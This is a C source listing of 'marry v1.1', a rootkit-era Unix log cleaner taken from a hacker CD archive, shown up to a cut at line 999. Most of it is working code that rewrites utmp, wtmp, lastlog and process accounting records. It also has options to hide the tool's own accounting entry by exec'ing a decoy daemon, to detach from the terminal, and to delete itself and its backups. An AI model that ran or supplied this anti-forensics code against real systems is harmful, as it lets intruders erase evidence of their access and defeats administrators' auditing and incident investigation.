home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / E-zine / Magazines / crh / freebsd / rootkit / marryv11.c < prev    next >
Encoding:
C/C++ Source or Header  |  2002-05-27  |  33.3 KB  |  1,248 lines

  1. /* marry v1.1 (c) 1991 -- Proff -- proff@suburbia.apana.org.au,
  2.  * All rights reserved.
  3.  *
  4.  * May there be peace in the world, and objectivity amoung men.
  5.  *
  6.  * You may not use this program for unethical purposes.
  7.  *
  8.  * You may not use this program in relation to your employment, or for monetary
  9.  * gain without express permission from the author.
  10.  *
  11.  * usage:
  12.  *   marry [-aetsuScDn] [-i src] [-o obj] [-d dump] [-p pat] [-v pat] [-m [WLA]]
  13.  *         [-E editor] [-h program] [-b backup ]
  14.  *
  15.  *   -a         automode, dump, run editor over dump and re-assemble to object
  16.  *   -e         edit source, assemble directly to input file, imples no insertion
  17.  *              of records before an equal quantity of deltion
  18.  *   -t         truncate object to last line of dump source when assembling
  19.  *   -s         squeeze, delete all record in input not occuring in dump
  20.  *              (higher entries in input will be appended unless -t is also
  21.  *              specified)
  22.  *   -u         when in [L]astlog mode do user-id -> name lookups (time consuming)
  23.  *   -S         Security, when in [A]cct and -[a]uto mode replace editor's acct
  24.  *              record with an unmodified random previous entry, detach from
  25.  *              terminal, SIGKILL ourselves or execlp [-h program] to hide our
  26.  *              acct record (marry should be exec'ed under these circumstances)
  27.  *   -c         clean, delete backup and dump files once complete
  28.  *   -D         Delete our self once complete (i.e argv[0])
  29.  *   -n         no backups, don't make backups when in -e, -a modes or when
  30.  *              -i file == -o file
  31.  *   -i src     input, the utmp, wtmp, lastlog or p/acct file concerned. defaults
  32.  *              to the system wtmp/lastlog/pacct depending on mode if not specified
  33.  *   -o obj     output, the dump assembled and input merged version of the
  34.  *              above. if given and not in -[a]uto mode, implies we are
  35.  *              assembling, not dumping.
  36.  *   -d dump    dump, the dump (editable representation of src) file name. this
  37.  *              is is either an input (-o specified) an output (no -o) or both
  38.  *              -[a]uto. defaults to "marry.dmp" in the current directory if not
  39.  *              specified
  40.  *   -p pat     pattern match. When disassembling (dumping), only extract records
  41.  *              which match (checked against all string fields, and the uid if
  42.  *              the pattern is a valid username)
  43.  *   -v pat     inverse pattern match. like egrep -v. above non-logic features.
  44.  *   -m mode    mode is one of:
  45.  *
  46.  *                      W  -  utmp/wtmp (or utmpx/wtmpx see UTMPX #define)
  47.  *                      L  -  lastlog
  48.  *                      A  -  acct/pacct
  49.  *
  50.  *   -E editor  editor to be used in -[a]uto mode. defaults to /usr/bin/vi. must
  51.  *              be the full path in -[S]ecurity mode (we do some clever
  52.  *              symlinking)
  53.  *   -h program hide, if -S mode is on, then attempt to conceal our acct entryby
  54.  *              execlp'ing the specified program. this seems to work on BSD der
  55. ived
  56.  *              systems. with others, your might want to just call marry someth
  57. ing
  58.  *              innocous.
  59.  *   -b backup  name of backup file, defaults to "marry.bak"
  60.  *
  61.  *   the following instruction codes can be placed in position one of the dump
  62.  *   lines to be assembled (e.g "0057a" -> "=057a"):
  63.  *
  64.  *   '='        tag modification of entry.
  65.  *   '+'        tag insertion of entry
  66.  *
  67.  * Examples:
  68.  *
  69.  * $ marry -mW -i /etc/utmp -s -a       # dump, edit, re-assemble and strip del
  70. eted
  71.  *                                      # entries from utmp
  72.  *
  73.  * $ marry -mL -u -a -n -e              # dump lastlog with usernames, edit, ma
  74. ke no
  75.  *                                      # backups and re-assemble in-situ direc
  76. tly to
  77.  *                                      # lastlog
  78.  *
  79.  * $ marry -mW -a -p mil -E emacs       # dump all wtmp entries matching "mil",
  80.  edit
  81.  *                                      # with emacs, re-assemble and re-write
  82. to wtmp
  83.  *
  84.  * $ exec marry -mA -SceD               # dump all acct entries by root, edit,
  85. remove
  86.  *     -h /usr/sbin/in.fingerd          # editor's acct record, re-assemble dir
  87. ectly
  88.  *     -p root -a -i /var/account/acct  # to acct in-situ, delete backup and du
  89. mp file,
  90.  *                                      # delete ourself from the disk, unassig
  91. n our
  92.  *                                      # controling terminal, and lastly overl
  93. ay our
  94.  *                                      # self (and thus our to be acct record)
  95.  with
  96.  *                                      # in.fingerd
  97.  */
  98.  
  99. #define bsd
  100.  
  101. #define UTMP
  102. #undef UTMPX /* solaris has both */
  103. #define LASTLOG
  104. #define PACCT
  105.  
  106. #include <stdio.h>
  107. #include <unistd.h>
  108. #include <stdlib.h>
  109. #include <string.h>
  110. #include <sys/types.h>
  111. #include <sys/time.h>
  112. #include <sys/stat.h>
  113. #include <sys/wait.h>
  114. #include <fcntl.h>
  115. #include <signal.h>
  116. #include <pwd.h>
  117. #include <grp.h>
  118. #include <errno.h>
  119.  
  120. #ifdef __SVR3
  121. #  include <getopts.h>
  122. #endif
  123. #ifndef bsd
  124. #  if defined(__NetBSD__) || defined(bsdi) || defined(BSDI) || defined(__386BSD__)
  125. #    define bsd
  126. #  endif
  127. #endif
  128.  
  129. #if !defined(gcc)
  130. #  define NO_VOID /* non gcc, early compiliers */
  131. #endif
  132.  
  133. #ifndef __SVR3
  134. extern char *optarg;
  135. #endif
  136.  
  137. #ifdef NO_VOID
  138. #  define VOID int
  139. #  define FVOID
  140. #else
  141. #  define VOID void
  142. #  define FVOID void
  143. #endif
  144.  
  145. #ifndef bool
  146. #  define bool char
  147. #endif
  148.  
  149. #define match(a,b) (match_s((a), (b), sizeof(a)))
  150.  
  151. #ifdef UTMP
  152. #ifdef UTMPX
  153. #  include <utmpx.h>
  154. #  define S_UTMP utmpx
  155. #  define UT_HOST ut_host
  156. #  define UT_ID ut_id
  157. #  define UT_TYPE ut_type
  158. #  define UT_PID ut_pid
  159. #  define UT_TV ut_tv
  160. #  ifdef _PATH_WTMPX
  161. #    define WTMP_FILE _PATH_WTMPX
  162. #  else
  163. #    ifdef WTMPX_FILE
  164. #      define WTMP_FILE WTMPX_FILE
  165. #    else
  166. #      define WTMP_FILE "/usr/adm/wtmpx"
  167. #    endif
  168. #  endif
  169. #else
  170. #  include <utmp.h>
  171. #  define S_UTMP utmp
  172. #  ifndef WTMP_FILE
  173. #    ifdef _PATH_WTMP
  174. #      define WTMP_FILE _PATH_WTMP
  175. #    else
  176. #      define WTMP_FILE "/usr/adm/wtmp"
  177. #    endif
  178. #  endif
  179. #  if !defined(ut_name) && !defined(ut_user)
  180. #    define ut_user ut_name
  181. #  endif
  182. #  if defined(linux) || defined(bsd) || defined(sun)
  183. #    define UT_HOST ut_host
  184. #  endif
  185. #  ifdef linux
  186. #    define UT_ADDR ut_addr
  187. #  endif
  188. #  define UT_TIME ut_time
  189. #  if defined(linux) || defined(solaris)
  190. #    define UT_PID  ut_pid
  191. #    define UT_ID   ut_id
  192. #  endif
  193. #  if defined(linux) || defined(solaris) || defined(sysv) || defined(SYSV) || defined(SVR4)
  194. #    define UT_TYPE ut_type
  195. #  endif
  196. #endif
  197. #endif
  198.  
  199. #ifdef LASTLOG
  200. #  ifdef bsd
  201. #    ifndef UTMP
  202. #      include <utmp.h>
  203. #    endif
  204. #  else
  205. #  endif
  206. #  ifndef LASTLOG_FILE
  207. #    ifdef _PATH_LASTLOG
  208. #      define LASTLOG_FILE _PATH_LASTLOG
  209. #    else
  210. #      define LASTLOG_FILE "/usr/adm/lastlog"
  211. #    endif
  212. #  endif
  213. #  define LL_HOST ll_host
  214. #endif
  215.  
  216. #ifdef PACCT
  217. #  include <sys/acct.h>
  218. #  ifdef bsd
  219. #    define PACCT_FILE "/var/account/acct"
  220. #  else
  221. #    define PACCT_FILE "/usr/adm/pacct"
  222. #  endif
  223. #endif
  224.  
  225. #ifdef UT_ADDR
  226. #  include <arpa/inet.h>
  227. #endif
  228.  
  229. FILE *ofh, *ifh, *afh;
  230.  
  231. #ifdef UTMP
  232. struct S_UTMP s_utmp;
  233. #endif
  234. #ifdef LASTLOG
  235. struct lastlog s_lastlog;
  236. #endif
  237. #ifdef PACCT
  238. struct acct s_acct;
  239. struct acct ac_saved;
  240. int acct_step;
  241. #endif
  242. char ac_comm_hide[32];
  243.  
  244. struct passwd *uid;
  245. struct passwd uid_s;
  246. char **uida=NULL;
  247. char **gida=NULL;
  248.  
  249. #define MAX_UID 65537
  250.  
  251. char *quotes="\"\"";
  252.  
  253. int globline=0;
  254.  
  255. char *a_Input=NULL;
  256. char *a_Output=NULL;
  257. char *a_Pattern=NULL;
  258. char *a_Hide=NULL;
  259. #ifdef sun
  260. char *a_Editor="/usr/ucb/vi";
  261. #else
  262. char *a_Editor="/usr/bin/vi";
  263. #endif
  264. char *a_Dump="marry.dmp";
  265. char *a_Backup="marry.bak";
  266. bool f_Auto=0;
  267. bool f_Squeeze=0;
  268. bool f_EditSrc=0;
  269. bool f_Truncate=0;
  270. bool f_Exclude=0;
  271. bool f_Uid=0;
  272. bool f_Security=0;
  273. bool f_Clean=0;
  274. bool f_DeleteSelf=0;
  275. bool f_NoBackups=0;
  276. bool f_backedup;
  277. char mode;
  278.  
  279. int mode_size=0;
  280. void *mode_data;
  281.  
  282. int globline;
  283. char *mes;
  284. time_t otime=0;
  285. FVOID display()
  286. {
  287. static int n;
  288. time_t t;
  289.         globline++;
  290.         if (n++<30) return; /* don't want too many context switches */
  291.         n=0;
  292.         time(&t);
  293.         if (t<(otime+1)) return;
  294.         otime=t;
  295.         printf("%s%d\r", mes, globline);
  296.         fflush(stdout);
  297. }
  298. FVOID display_end()
  299. {
  300.         printf("%s%d\n", mes, globline);
  301.         fflush(stdout);
  302. }
  303.  
  304. #ifdef NO_VOID
  305. char
  306. #else
  307. void
  308. #endif
  309. *
  310. Smalloc(n)
  311. int n;
  312. {
  313. #ifdef NO_VOID
  314. char
  315. #else
  316. void
  317. #endif
  318. * p;
  319.         while (!(p=malloc(n))) sleep(1);
  320.         return p;
  321. }
  322.  
  323. bool copyf(src, dst)
  324. char *src;
  325. char *dst;
  326. {
  327. #define CBUFLEN 128*1024
  328. int fi, fo;
  329. char *buf;
  330. int cc;
  331.         if ((fi=open(src, O_RDONLY, 0))<0)
  332.         {
  333.                 perror(src);
  334.                 exit(1);
  335.         }
  336.         if ((fo=open(dst, O_WRONLY|O_CREAT|O_TRUNC, 0666))<0)
  337.         {
  338.                 perror(dst);
  339.                 exit(1);
  340.         }
  341.         buf=Smalloc(CBUFLEN);
  342.         while ((cc=read(fi, buf, CBUFLEN))>0)
  343.                 if (write(fo, buf, cc)!=cc)
  344.                 {
  345.                         perror(dst);
  346.                         exit(1);
  347.                 }
  348.         close(fo);
  349.         close(fi);
  350.         free(buf);
  351.         return 1;
  352. }
  353.  
  354. bool backup(src)
  355. char *src;
  356. {
  357.         printf("backup = %s\n", a_Backup);
  358.         fflush(stdout);
  359.         return copyf(src, a_Backup);
  360. }
  361.  
  362. char *match_s(haystack, needle, n)
  363. char *haystack;
  364. char *needle;
  365. int n;
  366. {
  367. static char tmp[256];
  368.         strncpy(tmp, haystack, n>sizeof(tmp)? sizeof(tmp): n);
  369.         return strstr(tmp, needle);
  370. }
  371.  
  372. unsigned short atoi2(s)
  373. char *s;
  374. {
  375.         return (s[0]-'0')*10+(s[1]-'0');
  376. }
  377.  
  378. char *p_string(s, size)
  379. char *s;
  380. int size;
  381. {
  382. static char sss[1024];
  383. register int n;
  384. char *ss=sss;
  385.         if (!*s) return quotes;
  386.         
  387.         for (n=0; n<size; n++)
  388.         {
  389.                 char c=s[n];
  390.                 switch (c)
  391.                 {
  392.                 case '\\':
  393.                         *(ss++)=c;
  394.                         break;
  395.                 case ' ':
  396.                         *(ss++)='\\';
  397.                         break;
  398.                 case '\t':
  399.                         *(ss++)='\\';
  400.                         c='t';
  401.                         break;
  402.                 case '\n':
  403.                         *(ss++)='\\';
  404.                         c='n';
  405.                         break;
  406.                 case '\r':
  407.                         *(ss++)='\\';
  408.                         c='r';
  409.                         break;
  410.                 case 0:
  411.                         goto end;
  412.                 }
  413.                 *(ss++)=c;
  414.         }
  415. end:
  416.         *ss=0;
  417.         return sss;
  418. }
  419.  
  420. char *skip_white(s)
  421. char *s;
  422. {       for (; *s && (*s=='\t' || *s==' '); s++);
  423.         if (!*s || (*s=='\n')) return NULL;
  424.         return s;
  425. }
  426.  
  427. char *g_string(d, s, size)
  428. char *d;
  429. char *s;
  430. int size;
  431. {
  432. int y;
  433. char c;
  434. char f_esc=0;
  435.         for (y=0; y<size; y++) d[y]=0;
  436.         if (!(s=skip_white(s))) return NULL;
  437.         if (*s=='"' && *(s+1)=='"') return s+2;
  438.         for (y=0; y<size; s++)
  439.         {
  440.                 c=*s;
  441.                 if (f_esc)
  442.                 {
  443.                         switch(c)
  444.                         {
  445.                         case 'r':
  446.                                 c='\r';
  447.                                 break;
  448.                         case 'n':
  449.                                 c='\n';
  450.                                 break;
  451.                         case 't':
  452.                                 c='\t';
  453.                                 break;
  454.                         }
  455.                         f_esc=0;
  456.                 } else {
  457.                         switch(c)
  458.                         {
  459.                         case '\\':
  460.                                 f_esc=1;
  461.                                 continue;
  462.                         case ' ':
  463.                         case '\t':
  464.                         case '\n':
  465.                         case '\0':
  466.                                 goto end;
  467.                         }
  468.                 }
  469.                 d[y++]=c;
  470.         }
  471. end:
  472.         return s+1;
  473. }
  474.  
  475. char *time_s(tt)
  476. time_t tt;
  477. {
  478. static char s[13];
  479.         time_t t=tt; /* some compilers won't take a parameter address */
  480.         struct tm *tp;
  481.         tp=localtime(&t);
  482.         sprintf(s, "%02d%02d%02d%02d%02d%02d",
  483.                 tp->tm_year, tp->tm_mon+1, tp->tm_mday,
  484.                 tp->tm_hour, tp->tm_min, tp->tm_sec);
  485.         return s;
  486. }
  487.  
  488. time_t time_i(s)
  489. char *s;
  490. {
  491.         struct tm lt;
  492.         time_t t;
  493.         if (strlen(s)!=12) return (time_t)-1;
  494.         time(&t);
  495.         lt=*localtime(&t);
  496.         lt.tm_year=atoi2(s);
  497.         lt.tm_mon=atoi2(s+2)-1;
  498.         lt.tm_mday=atoi2(s+4);
  499.         lt.tm_hour=atoi2(s+6);
  500.         lt.tm_min=atoi2(s+8);
  501.         lt.tm_sec=atoi2(s+10);
  502.         lt.tm_isdst=-1;
  503.         return mktime(<);
  504. }
  505.  
  506. char *
  507. bgetgrgid(u)
  508. gid_t u;
  509. {
  510. struct group *gr;
  511.         if (!gida)
  512.         {
  513.                 int n;
  514.                 gida=(char **)Smalloc(sizeof(char *)*MAX_UID);
  515.                 for (n=0; n<MAX_UID; n++) gida[n]=NULL;
  516.         }
  517.         if (gida[u]==(char *)-1) return NULL;
  518.         if (gida[u]) return gida[u];
  519.         if (!(gr=getgrgid(u)))
  520.         {
  521.                 gida[u]=(char *)-1;
  522.                 return NULL;
  523.         }
  524.         gida[u]=Smalloc(strlen(gr->gr_name)+1);
  525.         strcpy(gida[u], gr->gr_name);
  526.         return gida[u];
  527. }
  528.  
  529. char *
  530. bgetpwuid(u)
  531. uid_t u;
  532. {
  533. struct passwd *pw;
  534.         if (!uida)
  535.         {
  536.                 int n;
  537.                 uida=(char **)Smalloc(sizeof(struct passwd *)*MAX_UID);
  538.                 for (n=0; n<MAX_UID; n++) uida[n]=NULL;
  539.         }
  540.         if (uida[u]==(char *)-1) return NULL;
  541.         if (uida[u]) return uida[u];
  542.         if (!(pw=getpwuid(u)))
  543.         {
  544.                 uida[u]=(char *)-1;
  545.                 return NULL;
  546.         }
  547.         uida[u]=Smalloc(strlen(pw->pw_name)+1);
  548.         strcpy(uida[u], pw->pw_name);
  549.         return uida[u];
  550. }
  551.  
  552. #ifdef UTMP
  553. bool dump_utmp(uline, ut)
  554. int uline;
  555. struct S_UTMP *ut;
  556. {
  557.         time_t tim;
  558.         if (a_Pattern)
  559.         {
  560.                 if (!match(ut->ut_user, a_Pattern) &&
  561.                     !match(ut->ut_line, a_Pattern)
  562. #ifdef UT_HOST
  563.                     && !match(ut->UT_HOST, a_Pattern)
  564. #endif
  565.                         ) {if (!f_Exclude) return 1;}
  566.                 else if (f_Exclude) return 1;
  567.          }
  568.         fprintf(afh, "%05x", uline-1);
  569.         fprintf(afh, " %-8s", p_string(ut->ut_user, sizeof(ut->ut_user)));
  570.         fprintf(afh, " %-11s", p_string(ut->ut_line, sizeof(ut->ut_line)));
  571. #ifdef UT_ID
  572.         fprintf(afh, " %-4s", p_string(ut->UT_ID, sizeof(ut->UT_ID)));
  573. #endif
  574. #ifdef UT_TYPE
  575.         fprintf(afh, " %-2x", ut->UT_TYPE);
  576. #endif
  577. #ifdef UT_PID
  578.         fprintf(afh, " %-5d", (int)ut->UT_PID);
  579. #endif
  580. #if defined(UT_TIME) || defined (UT_TV)
  581. #  ifdef UT_TIME
  582.         tim=ut->UT_TIME;
  583. #  else
  584.         tim=ut->UT_TV.tv_sec;
  585. #  endif
  586.         fprintf(afh, " %s", time_s(tim));
  587. #endif
  588. #ifdef UT_ADDR
  589.         fprintf(afh, " %-15s", inet_ntoa(*((struct in_addr *)&ut->UT_ADDR)));
  590. #endif
  591. #ifdef UT_HOST
  592.         fprintf(afh, " %s", p_string(ut->UT_HOST, sizeof(ut->UT_HOST)));
  593. #endif
  594.         fputc('\n', afh);
  595.         return 1;
  596. }
  597. #endif
  598.  
  599. #ifdef LASTLOG
  600. bool dump_lastlog(uline, ll)
  601. int uline;
  602. struct lastlog *ll;
  603. {
  604.         char *name;
  605.         struct passwd *pw;
  606.         if (f_Uid)
  607.         {
  608.                 pw=getpwuid(uline-1);
  609.                 name=pw? pw->pw_name: quotes;
  610.         } else
  611.         {
  612.           static char s[6];
  613.                 sprintf(s, "%05d", uline-1);
  614.                 name=s;
  615.         }
  616.         if (a_Pattern)
  617.         {
  618.                 if (
  619.                     (!uid || (uid->pw_uid!=(uline-1))) &&
  620.                     (!f_Uid || strstr(name, a_Pattern)) &&
  621. #ifdef LL_HOST
  622.                     !match(ll->ll_host, a_Pattern) &&
  623. #endif
  624.                     !match(ll->ll_line, a_Pattern)
  625.                         ) {if (!f_Exclude) return 1;}
  626.                 else if (f_Exclude) return 1;
  627.          }
  628.         fprintf(afh, "%05x", uline-1);
  629.         fprintf(afh, " %-8s", name);
  630.         fprintf(afh, " %-11s", p_string(ll->ll_line, sizeof(ll->ll_line)));
  631.         fprintf(afh, " %s", time_s(ll->ll_time));
  632. #ifdef LL_HOST
  633.         fprintf(afh, " %s", p_string(ll->LL_HOST, sizeof(ll->LL_HOST)));
  634. #endif
  635.         fputc('\n', afh);
  636.         return 1;
  637. }
  638. #endif
  639.  
  640. #ifdef PACCT
  641. bool dump_pacct(uline, ac)
  642. int uline;
  643. struct acct *ac;
  644. {
  645.         char *name;
  646.         char *gr_name;
  647.         if (!(name=bgetpwuid(ac->ac_uid)))
  648.         {
  649.           static char s[6];
  650.                 sprintf(s, "%05d", ac->ac_uid);
  651.                 name=s;
  652.         }
  653.         if (!(gr_name=bgetgrgid(ac->ac_gid)))
  654.         {
  655.           static char s[6];
  656.                 sprintf(s, "%05d", ac->ac_gid);
  657.                 gr_name=s;
  658.         }
  659.         if (a_Pattern)
  660.         {
  661.                 if (
  662.                     (!uid || (uid->pw_uid!=ac->ac_uid)) &&
  663.                     (strstr(name, a_Pattern)) &&
  664.                     (strstr(gr_name, a_Pattern))
  665.                         ) {if (!f_Exclude) return 1;}
  666.                 else if (f_Exclude) return 1;
  667.         }
  668.         fprintf(afh, "%05x", uline-1);
  669.         fprintf(afh, " %-8s", name);
  670.         fprintf(afh, " %-8s", gr_name);
  671.         fprintf(afh, " %-10s", p_string(ac->ac_comm, sizeof(ac->ac_comm)));
  672.         if (ac->ac_tty==(dev_t)-1)
  673.                 fputs(" ----", afh);
  674.         else
  675.                 fprintf(afh, " %04x", ac->ac_tty);
  676.         fprintf(afh, " %2x", ac->ac_flag);
  677.         fprintf(afh, " %s", time_s(ac->ac_btime));
  678.         fputc('\n', afh);
  679.         return 1;
  680. }
  681. #endif
  682.  
  683. FVOID makedump()
  684. {
  685. int uline;
  686.         if ((ifh=fopen(a_Input, "r"))==NULL)
  687.         {
  688.                 perror(a_Input);
  689.                 exit(1);
  690.         }
  691.         if ((afh=fopen(a_Dump, "w"))==NULL)
  692.         {
  693.                 perror(a_Dump);
  694.                 exit(1);
  695.         }
  696.         fputc('\n', stdout);
  697.         globline=0;
  698.         mes="entries disassembled: ";
  699.         for (uline=1; fread(mode_data, mode_size, 1, ifh)>0; uline++)
  700.         {
  701.                 display();
  702.                 switch(mode)
  703.                 {
  704. #ifdef UTMP
  705.                 case 'W':
  706.                         dump_utmp(uline, mode_data);
  707.                         break;
  708. #endif
  709. #ifdef LASTLOG
  710.                 case 'L':
  711.                         dump_lastlog(uline, mode_data);
  712.                         break;
  713. #endif
  714. #ifdef PACCT
  715.                 case 'A':
  716.                         dump_pacct(uline, mode_data);
  717.                         break;
  718. #endif
  719.                 }
  720.         }
  721.         display_end();
  722.         fclose(afh);
  723.         fclose(ifh);
  724. }
  725.  
  726. int seek_ifh(uline)
  727. int uline;
  728. {
  729.         if (ftell(ifh)!=mode_size*(uline-1))
  730.                 if (fseek(ifh, mode_size*(uline-1), SEEK_SET)==-1)
  731.                         return 0;
  732.         return 1;
  733. }
  734.  
  735. #ifdef UTMP
  736. int mod_utmp(ut, p)
  737. struct S_UTMP *ut;
  738. char *p;
  739. {
  740.         char *op;
  741. static char tmp[255];
  742. #if defined(UT_TIME) || defined(UT_TV)
  743. #endif
  744.         op=p;
  745.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  746.         if (!(p=g_string(ut->ut_user, p, sizeof(ut->ut_user)))) return 0;
  747.         if (!(p=g_string(ut->ut_line, p, sizeof(ut->ut_line)))) return 0;
  748. #ifdef UT_ID
  749.         if (!(p=g_string(ut->UT_ID, p, sizeof(ut->UT_ID)))) return 0;
  750. #endif
  751. #ifdef UT_TYPE
  752.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  753.         sscanf(tmp, "%x", (unsigned int *)&(ut->UT_TYPE));
  754. #endif
  755. #ifdef UT_PID
  756.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  757.         ut->UT_PID=atoi(tmp);
  758. #endif
  759. #if defined(UT_TIME) || defined(UT_TV)
  760.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  761. #  ifdef UT_TIME
  762.         if ((ut->UT_TIME=time_i(tmp))==(time_t)-1)
  763. #  else /* UT_TV */
  764.         if ((ut->UT_TV.tv_sec=time_i(tmp))==(time_t)-1)
  765. #  endif
  766.                 fprintf(stderr, "warning: invalid time spec %s", op);
  767. #endif
  768. #ifdef UT_ADDR
  769.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  770.         ut->UT_ADDR=inet_addr(tmp);
  771. #endif
  772. #ifdef UT_HOST
  773.         if (!(p=g_string(ut->UT_HOST, p, sizeof(ut->UT_HOST)))) return 0;
  774. #endif
  775.         return 1;
  776. }
  777. #endif
  778.  
  779. #ifdef LASTLOG
  780. int mod_lastlog(ll, p)
  781. struct lastlog *ll;
  782. char *p;
  783. {
  784.         char *op;
  785. static char tmp[255];
  786.         op=p;
  787.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  788.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0; /*skip name*/
  789.         if (!(p=g_string(ll->ll_line, p, sizeof(ll->ll_line)))) return 0;
  790.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  791.         if ((ll->ll_time=time_i(tmp))==(time_t)-1)
  792.                 fprintf(stderr, "warning illegal time: %s\n", op);
  793. #ifdef LL_HOST
  794.         if (!(p=g_string(ll->ll_host, p, sizeof(ll->ll_host)))) return 0;
  795. #endif
  796.         return 1;
  797. }
  798. #endif
  799.  
  800. #ifdef PACCT
  801. int mod_pacct(ac, p)
  802. struct acct *ac;
  803. char *p;
  804. {
  805. static char tmp[255];
  806. struct passwd *pw;
  807. struct group *gr;
  808. char *op;
  809. long int t;
  810. unsigned int tu;
  811.         op=p;
  812.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  813.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  814.         if (sscanf(tmp, "%ld", &t)!=1)
  815.         {
  816.                 if (!(pw=getpwnam(tmp)))
  817.                         fprintf(stderr, "warning: unknown username %s\n", op);
  818.                 else
  819.                         ac->ac_uid=pw->pw_uid;
  820.         } else ac->ac_uid=t;
  821.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  822.         if (sscanf(tmp, "%ld", &t)!=1)
  823.         {
  824.                 if (!(gr=getgrnam(tmp)))
  825.                         fprintf(stderr, "warning: unknown group %s\n", op);
  826.                 else
  827.                         ac->ac_gid=pw->pw_gid;
  828.         } else ac->ac_gid=t;
  829.         if (!(p=g_string(ac->ac_comm, p, sizeof(ac->ac_comm)))) return 0;
  830.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  831.         if (sscanf(tmp, "%x", &tu)!=1) ac->ac_tty=(dev_t)-1;
  832.         else ac->ac_tty=tu;
  833.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  834.         if (sscanf(tmp, "%x", &tu)!=1)
  835.                 fprintf(stderr, "warning: invalid flags %s\n", op);
  836.         else ac->ac_flag=tu;
  837.         if (!(p=g_string(tmp, p, sizeof(tmp)))) return 0;
  838.         if ((ac->ac_btime=time_i(tmp))==(time_t)-1)
  839.                 fprintf(stderr, "warning: illegal time: %s\n", op);
  840.         return 1;
  841. }
  842. #endif
  843.  
  844. bool wcopy(uline)
  845. int uline;
  846. {
  847.         if (!seek_ifh(uline)) return 0;
  848.         while (fread(mode_data, mode_size, 1, ifh)>0)
  849.         {
  850.                 display();
  851. #ifdef PACCT
  852.                 if (f_Security && f_Auto && mode=='A')
  853.                 {
  854.                         struct acct *p;
  855.                         p=(struct acct *)mode_data;
  856.                         if (!strncmp(p->ac_comm, ac_comm_hide, sizeof(ac_comm_hide)))
  857.                         {
  858.                                 ac_saved.ac_btime=p->ac_btime;
  859.                                 *p=ac_saved;
  860.                         }
  861.                 }
  862. #endif
  863.                 if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  864.         }
  865. #ifndef NO_FTRUNCATE
  866.         if (f_Squeeze && f_EditSrc) ftruncate(fileno(ofh), ftell(ofh));
  867. #endif
  868.         return 1;
  869. }
  870.  
  871. bool domod(p)
  872. char *p;
  873. {
  874. bool ret=0;
  875.         if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  876.         switch(mode)
  877.         {
  878. #ifdef UTMP
  879.         case 'W':
  880.                 ret=mod_utmp(mode_data, p);
  881.                 break;
  882. #endif
  883. #ifdef LASTLOG
  884.         case 'L':
  885.                 ret=mod_lastlog(mode_data, p);
  886.                 break;
  887. #endif
  888. #ifdef PACCT
  889.         case 'A':
  890.                 ret=mod_pacct(mode_data, p);
  891.                 break;
  892. #endif
  893.         }
  894.         if (!ret)
  895.                 fprintf(stderr, "warning: invalid dump input `%s'\n", p);
  896.         return 1;
  897. }
  898.  
  899. static wu_line=0;
  900.  
  901. int obj_update(uline, p, f_mod)
  902. int uline;
  903. char *p;
  904. char f_mod;
  905. {
  906.         if (f_Squeeze)
  907.         {
  908.                 display();
  909.                 seek_ifh(uline);
  910.                 if (f_mod) {if (!domod(p)) return 0;}
  911.                 else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  912.                 if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  913.         } else {
  914.                 if (f_EditSrc)
  915.                 {
  916.                         if (f_mod)
  917.                                 fseek(ofh, mode_size*(uline-1), SEEK_SET);
  918.                 } else {
  919.                         while(++wu_line<uline)
  920.                         {
  921.                                 display();
  922.                                 if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  923.                                 if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  924.                         }
  925.                 }
  926.                 if (f_mod)
  927.                 {
  928.                         seek_ifh(uline);
  929.                         if (!domod(p)) return 0;
  930.                         if (f_mod==2) wu_line--;
  931.                 } else if (fread(mode_data, mode_size, 1, ifh)<1) return 0;
  932.                 if (fwrite(mode_data, mode_size, 1, ofh)<1) return 0;
  933.                 display();
  934.         }
  935. #ifdef PACCT
  936.         if (f_Security && f_Auto && !f_mod && mode=='A')
  937.                 if (!uline%acct_step) ac_saved=*(struct acct *)mode_data;
  938. #endif
  939.         return 1;
  940. }
  941.  
  942. FVOID makeobject()
  943. {
  944. int uline=1;
  945. char line[1024];
  946. char *p;
  947. char f_mod;
  948.         if ((ifh=fopen(a_Input, "r"))==NULL)
  949.         {
  950.                 perror(a_Input);
  951.                 exit(1);
  952.         }
  953.         if ((afh=fopen(a_Dump, "r"))==NULL)
  954.         {
  955.                 perror(a_Dump);
  956.                 exit(1);
  957.         }
  958.         if ((ofh=fopen(a_Output, f_EditSrc? "r+": "w"))==NULL)
  959.         {
  960.                 perror(a_Output);
  961.                 exit(1);
  962.         }
  963. #ifdef PACCT
  964.         if (f_Security && f_Auto && mode=='A')
  965.                 acct_step=(getpid()+8)%60;
  966. #endif
  967.         fputc('\n', stdout);
  968.         globline=0;
  969.         mes="entries assembled: ";
  970.         while (1)
  971.         {
  972.                 if (!fgets((p=line), sizeof(line), afh))
  973.                 {
  974.                         if (f_EditSrc)
  975.                         {
  976. #ifndef NO_FTRUNCATE
  977.                                 if (f_Truncate)
  978.                                 {
  979.                                         fflush(ofh);
  980.                                         ftruncate(fileno(ofh), uline*mode_size)
  981. ;
  982.                                 }
  983. #endif
  984.                                 goto closeup;
  985.                         }
  986.                         if (!f_Truncate) wcopy(uline+1);
  987.                         goto closeup;
  988.                 }
  989.                 switch (*p)
  990.                 {
  991.                 case 0:
  992.                 case '#':
  993.                 case '\n':
  994.                         continue;
  995.                 case '=':
  996.                         f_mod=1;
  997.                         p++;
  998.                         break;
  999.                 case '+':
